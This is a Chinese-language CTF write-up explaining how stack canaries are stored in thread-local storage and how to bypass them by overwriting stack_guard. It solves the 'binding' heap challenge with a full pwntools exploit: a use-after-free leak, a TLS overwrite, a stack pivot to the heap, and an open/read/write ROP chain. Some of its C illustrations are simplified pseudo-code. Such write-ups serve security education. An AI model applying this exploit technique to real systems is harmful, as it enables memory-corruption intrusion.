劫持TLS繞過canary && 堆和棧的靈活轉換

CH13hh發表於2024-07-11

引入:什麼是TLScanary?

TLScanary 是一種在 Pwn(主要是二進位制漏洞利用)中常見的技術,專門用於處理 TLS 保護的二進位制檔案。在安全競賽(例如 CTF)和漏洞利用場景中,攻擊者需要應對目標程式的多層安全機制,其中 TLS 是一種常見的保護措施。TLScanary 結合了 TLS 協議與堆疊保護(stack canary)技術,增加了攻擊難度。

可見TLS和canary有著不可分割的關係

介紹:TLS的基本概念(pwn canary中)

  • TLS 是一種用於線上程本地儲存資料的機制。每個執行緒都有自己的 TLS 區域,用於儲存與該執行緒相關的特定資料。
  • 在堆疊保護方面,TLS 常被用於儲存堆疊 canary 值,這是一種防止緩衝區溢位攻擊的安全措施。
  • 堆疊 canary 是一種在函式返回地址之前插入的特殊值,用於檢測堆疊溢位。如果緩衝區溢位覆蓋了 canary 值,程式會在返回前檢測到不一致,並終止執行,防止惡意程式碼執行。

其實對於多執行緒的canary來說,每個執行緒的canary都是獨立存在的,當一個執行緒被建立時,作業系統會為該執行緒分配一個獨立的 TLS 區域。這個區域通常透過某種執行緒控制塊(TCB)來管理,每個執行緒都有一個獨立的 TCB。

在多執行緒環境中,每個執行緒的堆疊上都會有一個獨立的 canary 值。作業系統或執行時庫在為每個執行緒分配堆疊時,會在堆疊的適當位置插入一個 canary 值。

一個示例程式碼

void* thread_function(void* arg) {
    // 每個執行緒有自己獨立的 TLS 區域
    __thread int thread_local_variable = 0;

    // 在函式入口處插入 canary 值
    unsigned long canary_value = generate_random_canary();

    // 檢查 canary 值是否被修改
    if (canary_value != expected_canary_value) {
        terminate_program();
    }

    // 執行緒的實際工作
    // ...

    return NULL;
}

int main() {
    pthread_t threads[NUM_THREADS];

    // 建立多個執行緒
    for (int i = 0; i < NUM_THREADS; i++) {
        pthread_create(&threads[i], NULL, thread_function, NULL);
    }

    // 等待所有執行緒完成
    for (int i = 0; i < NUM_THREADS; i++) {
        pthread_join(threads[i], NULL);
    }

    return 0;
}

struct pthread結構體

#include <stddef.h> // 為了使用 size_t

/* Definition of the tcbhead_t structure (hypothetical) */
typedef struct {
    // 定義執行緒控制塊頭部結構體
    // 可以根據實際情況進行定義
    // 例如:執行緒 ID、狀態資訊等
    int thread_id;
    // 其他相關資訊
} tcbhead_t;

/* Define the pthread structure */
struct pthread {
#if !TLS_DTV_AT_TP
    /* This overlaps the TCB as used for TLS without threads (see tls.h).  */
    tcbhead_t header; // 可能與 TLS 相關的頭部資訊
#else
    struct {
        // 更復雜的結構體定義
        // 可能包含與 TLS 相關的更多詳細資訊
        // ...
    } header;
#endif

    /* Extra padding for alignment and potential future use */
    void *__padding[24]; // 填充陣列,用於對齊和可能的未來擴充套件
};

看見看到struct pthread結構的第一個欄位是tcbhead_t

tcbhead_t 結構體的解析:

typedef struct {
    void *tcb;            /* 指向執行緒控制塊(TCB)的指標 */
    dtv_t *dtv;           /* 執行緒特定資料的指標 */
    void *self;           /* 指向執行緒描述符的指標 */
    int multiple_threads; /* 標識是否有多個執行緒 */
    int gscope_flag;      /* 全域性作用域標誌 */
    uintptr_t sysinfo;    /* 系統資訊 */
    uintptr_t stack_guard;/* 堆疊保護 */
    uintptr_t pointer_guard; /* 指標保護 */

    /* 其他可能的欄位... */
} tcbhead_t;

其中stack_guard裡面放的就是單執行緒的canary,通常可以透過覆蓋它的內容來達到繞過canary保護的目的

一道題目的引入

剛好對於上一篇留下的問題,題目:binding

題目保護情況

劫持TLS繞過canary && 堆和棧的靈活轉換

64位ida載入

初看時是個堆題

劫持TLS繞過canary && 堆和棧的靈活轉換

add函式申請大小有限制,一次建立兩個堆塊,calloc申請堆塊

劫持TLS繞過canary && 堆和棧的靈活轉換

edit函式,白給任意地址寫一個位元組(因為unsigned __int8型別指標佔一個位元組),有溢位不多,可以遷移

劫持TLS繞過canary && 堆和棧的靈活轉換

free函式,明顯的UAF漏洞可以洩露地址

劫持TLS繞過canary && 堆和棧的靈活轉換

show函式

劫持TLS繞過canary && 堆和棧的靈活轉換

開了沙箱,只能orw

劫持TLS繞過canary && 堆和棧的靈活轉換

📍思路:1.透過UAF漏洞洩露heap地址和libc地址

2.透過任意地址寫劫持stack_guard來繞過canary保護

3.透過棧遷移遷移到heap上,執行rop鏈

EXP:

from pwn import *
context(log_level='debug',arch='amd64',os='linux')

libc =ELF('./libc-2.31.so') 
#io = process('./binding')
io = remote('node5.buuoj.cn',26892)
def add(index,size,content):
    io.sendlineafter('choice:','1')
    io.sendlineafter('Idx:',str(index))
    io.sendlineafter('Size:',str(size))
    io.sendafter('Content:',content)



def edit(index,content1,content2):
    io.sendlineafter('choice:','2')
    io.sendafter('Idx:',index)
    io.sendafter('context1: ',content1)
    io.sendafter('context2: ',content2)


def show(rw,index):
    io.sendlineafter('choice:','3')
    io.sendlineafter('choice:',rw)
    io.sendlineafter('Idx:',str(index))



def free(index):
    io.sendlineafter('choice:','4')
    io.sendlineafter('Idx:',str(index))




#gdb.attach(io)
for i in range(6):
    add(i,0x100,'a')

for i in range(1,5):
    free(i)

#gdb.attach(io)
show('0',2)
io.recvuntil(': ')
heap_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x5d0
success('heap_base----->'+hex(heap_base))

#gdb.attach(io)
show('1',4)
io.recvuntil(': ')
libc_base = u64(io.recv(6).ljust(8,b'\x00'))  - 96 - 0x10 -libc.sym['__malloc_hook']
success('libc_base----->'+hex(libc_base))
TLS = libc_base + 0x1f3568
success('TLS----->'+hex(TLS))
pause()

pop_rdi = libc_base + 0x0000000000023b6a # pop rdi ; ret
pop_rsi = libc_base + 0x000000000002601f # pop rsi ; ret
pop_rdx = libc_base + 0x0000000000142c92 # pop rdx ; ret
leave_ret = libc_base + 0x00000000000578c8 # leave ; ret

#gdb.attach(io)
orw_payload = p64(pop_rdi) + p64(heap_base + 0x1010)+p64(pop_rsi) + p64(0)+p64(pop_rdx)+p64(0) +p64(libc.sym['open']+libc_base)
orw_payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_base + 0x200) 
orw_payload += p64(pop_rdx) + p64(0x30) + p64(libc.sym['read']+libc_base)
orw_payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap_base + 0x200) + p64(pop_rdx) + p64(0x30)
orw_payload += p64(libc.sym['write']+libc_base)

orw_payload = orw_payload.ljust(0xb0,b'a')
orw_payload += b'./flag\x00\x00'

add(6,0x120,orw_payload)

payload = b'0'.ljust(0x28, b'\x00') + p64(0) + p64(heap_base+0xf58) + p64(leave_ret)
edit(payload,p64(TLS),b'\x00'*8)


io.interactive()

相關文章